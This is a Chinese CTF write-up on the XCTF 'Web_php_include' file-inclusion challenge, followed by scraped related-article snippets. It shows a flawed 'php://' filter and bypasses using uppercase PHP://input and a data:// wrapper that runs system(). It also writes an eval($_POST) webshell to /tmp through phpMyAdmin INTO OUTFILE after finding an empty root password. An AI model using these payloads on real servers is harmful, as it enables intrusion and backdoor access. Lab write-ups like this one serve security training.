php include文件包含
XCTF题目:Web_php_include
<?php
show_source(__FILE__);//高亮显示源文件
echo $_GET['hello'];
$page=$_GET['page']; //获取表单‘page’的值
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);//include()函数用于将函数内调用的文件内的所有内容(文本)复制到调用它的文件中;
?> //strstr($page, "php://") 中如果page的值中没有出现"php://",那么不进入循环(循环的意思是将page中含有"php://"的替换为空格)
第一种方法:
关于str_repalce函数的绕过:这个函数是区分大小写的,所以只要使用大写就能绕过
接着使用PHP://input配合post来传递恶意代码

得知flag文件后读取文件即可得到flag

第二种方法(data://伪协议执行命令利用)
既然过滤了php://的伪协议 我们可以使用其他协议来做这里使用data://伪协议
data://伪协议
php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
<?php system("cat fl4gisisish3r3.php")?>

第三种方法(数据库写入马)
御剑扫描获得phpmyadmin root 密码空 进入
数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写
SHOW VARIABLES LIKE "secure_file_priv"
linux默认tmp是可写目录 试试写入一句话马 菜刀连接
SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'
参考:https://www.cnblogs.com/xhds/p/12218471.html
php include文件包含的更多相关文章
- include文件包含漏洞
发现allow_url_include 是on状态 既然已经直接包含了phpinfo()是文件,首先搜索了一下allow_url_include,发现是处于打开的状态. 既然 allow_url_in ...
- 关于#include文件包含
1.对于函数头文件: #include <filename> 一般对于标准库文件以一个.h后缀结尾: 2.对于本地文件: #include "filename.h" 对 ...
- apache include 文件包含引用的方法 报错 [an error occurred while processing this directive]
今天遇到在某平台买的虚拟主机服务器不支持 下面的这样的写法 <!--#Include file="/templets/2013new/header.htm"--> ...
- 45.modelsim仿真include文件
modelsim仿真include文件会出现找不到文件的情况,这是因为include文件路径有两种,一种是相对路径,另一种是绝对路径. 相对路径: 如果 ‘include "primitiv ...
- 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含
手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...
- c语言的预处理指令分3种 1> 宏定义 2> 条件编译 3> 文件包含
宏简介 1.C语言在对源程序进行编译之前,会先对一些特殊的预处理指令作解释(比如之前使用的#include文件包含指令),产生一个新的源程序(这个过程称为编译预处理),之后再进行通常的编译 所有的预处 ...
- C语言之文件包含
c = #include <stdio.h> #include "A.h" int main() { /******************************** ...
- PHP 文件包含总结 include require 命名空间 autoload spl_autoload_register 读取文件路径
总结: 1. include或require包含其他文件 使用./或者 ../,这里的当前路径和上一层路径,取决于运行脚本的路径,会存在如下问题. 在写PHP程序时,经常要用到include或requ ...
- c++ 头文件包含问题-include&class
http://blog.csdn.net/jiajia4336/article/details/8996254 前向声明概念(forward declaration) 在程序中引入了类类型的B.在声明 ...
随机推荐
- JS图片的放大与缩小
<!doctype html><head><meta charset=utf-8" /><title>javascript控制图片缩小或者放大 ...
- 立即执行函数 - Js函数笔记
立即执行函数 定义:此类函数没有声明,在执行一次后即释放,适合做初始化. 针对初始化功能的函数,同时遵循一句话,只有表达式才能被执行符号执行 1.(function() {...}()); - W3C ...
- maven项目导入并运行
idea导入maven工程流程 找到要导入的文件位置 打开导入 选择manve 一直next就好 选择jdk,选择自己的jdk--home就可以 点击finished 等待坐标导入,查看右侧maven ...
- 原生JS结合cookie实现商品评分组件
开发思路如下: 1.利用JS直接操作DOM的方式开发商品评分组件,主要实现功能有:显示评价评分的样式以及将用户操作后对应的数据返回到主页面 2.主页面引入商品评分组件的js文件并根据规定格式的数据,生 ...
- NB-IoT和LORA技术通信距离是一样的吗
如今物联网的无线通信技术非常多,这其中主要分为两大类:一类是以Zigbee.WiFi.蓝牙.Z-wave等短距离通信技术为主:另一类就是以LPWAN(low-powerWide-AreaNetwork ...
- 阿里P6晋升到P7是一个坎吗? P7 晋升总结
作者:程序之心丁仪 来源:https://chengxuzhixin.com/blog/post/P6_jin_sheng_dao_P7_zong_jie.html 公众号停更了挺长一段时间,首先说声 ...
- Java学习的第四十九天
1.构造函数 import java.util.Scanner; public class Cjava { public static void main(String[]args) { Time t ...
- SYL数据库表关系图 AND 项目架构图
关系图(内容按照具体项目要求可以改) 项目架构图
- Python实现微信支付(三种方式)
Python实现微信支付(三种方式) 关注公众号"轻松学编程"了解更多. 如果需要python SDk源码,可以加我微信[1257309054] 在文末有二维码. 一.准备环境 1 ...
- MyBatis重要核心概念
一.SqlSessionFactoryBuilder 从命名上可以看出,这个是一个 Builder 模式的,用于创建 SqlSessionFactory 的类.SqlSessionFactoryBui ...